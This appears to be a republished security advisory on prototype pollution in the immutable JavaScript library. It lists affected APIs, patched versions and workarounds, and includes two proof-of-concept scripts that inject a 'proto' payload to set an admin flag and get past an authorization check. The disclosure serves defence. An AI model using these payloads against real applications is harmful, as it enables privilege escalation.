Where
AND
-Infinity
0
Severity
8.7
EPSS
0.06%
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact What kind of vulnerability is it? Who is impacted?

A Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs.

Affected APIs

| API | Notes | | --------------------------------------- | ----------------------------------------------------------- | | mergeDeep(target, source) | Iterates source keys via ObjectSeq, assigns merged[key] | | mergeDeepWith(merger, target, source) | Same code path | | merge(target, source) | Shallow variant, same assignment logic | | Map.toJS() | object[k] = v in toObject() with no proto guard | | Map.toObject() | Same toObject() implementation | | Map.mergeDeep(source) | When source is converted to plain object |

Patches Has the problem been patched? What versions should users upgrade to?

| major version | patched version | | --- | --- | | 3.x | 3.8.3 | | 4.x | 4.3.7 | | 5.x | 5.1.5 |

Workarounds Is there a way for users to fix or remediate the vulnerability without upgrading?

- Validate user input - Node.js flag --disable-proto - Lock down built-in objects - Avoid lookups on the prototype - Create JavaScript objects with null prototype

Proof of Concept

PoC 1 — mergeDeep privilege escalation

javascript "use strict"; const { mergeDeep } = require("immutable"); // v5.1.4

// Simulates: app merges HTTP request body (JSON) into user profile const userProfile = { id: 1, name: "Alice", role: "user" }; const requestBody = JSON.parse( '{"name":"Eve","proto":{"role":"admin","admin":true}}', );

const merged = mergeDeep(userProfile, requestBody);

console.log("merged.name:", merged.name); // Eve (updated correctly) console.log("merged.role:", merged.role); // user (own property wins) console.log("merged.admin:", merged.admin); // true ← INJECTED via proto!

// Common security checks — both bypassed: const isAdminByFlag = (u) => u.admin === true; const isAdminByRole = (u) => u.role === "admin"; console.log("isAdminByFlag:", isAdminByFlag(merged)); // true ← BYPASSED! console.log("isAdminByRole:", isAdminByRole(merged)); // false (own role=user wins)

// Stealthy: Object.keys() hides 'admin' console.log("Object.keys:", Object.keys(merged)); // ['id', 'name', 'role'] // But property lookup reveals it: console.log("merged.admin:", merged.admin); // true

PoC 2 — All affected APIs

javascript "use strict"; const { mergeDeep, mergeDeepWith, merge, Map } = require("immutable");

const payload = JSON.parse('{"proto":{"admin":true,"role":"superadmin"}}');

// 1. mergeDeep const r1 = mergeDeep({ user: "alice" }, payload); console.log("mergeDeep admin:", r1.admin); // true

// 2. mergeDeepWith const r2 = mergeDeepWith((a, b) => b, { user: "alice" }, payload); console.log("mergeDeepWith admin:", r2.admin); // true

// 3. merge const r3 = merge({ user: "alice" }, payload); console.log("merge admin:", r3.admin); // true

// 4. Map.toJS() with proto key const m = Map({ user: "alice" }).set("proto", { admin: true }); const r4 = m.toJS(); console.log("toJS admin:", r4.admin); // true

// 5. Map.toObject() with proto key const m2 = Map({ user: "alice" }).set("proto", { admin: true }); const r5 = m2.toObject(); console.log("toObject admin:", r5.admin); // true

// 6. Nested path const nested = JSON.parse('{"profile":{"proto":{"admin":true}}}'); const r6 = mergeDeep({ profile: { bio: "Hello" } }, nested); console.log("nested admin:", r6.profile.admin); // true

// 7. Confirm NOT global console.log("({}).admin:", {}.admin); // undefined (global safe)

Verified output against immutable@5.1.4:

mergeDeep admin: true mergeDeepWith admin: true merge admin: true toJS admin: true toObject admin: true nested admin: true ({}).admin: undefined ← global Object.prototype NOT polluted

References Are there any links users can visit to find out more?

- JavaScript prototype pollution

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203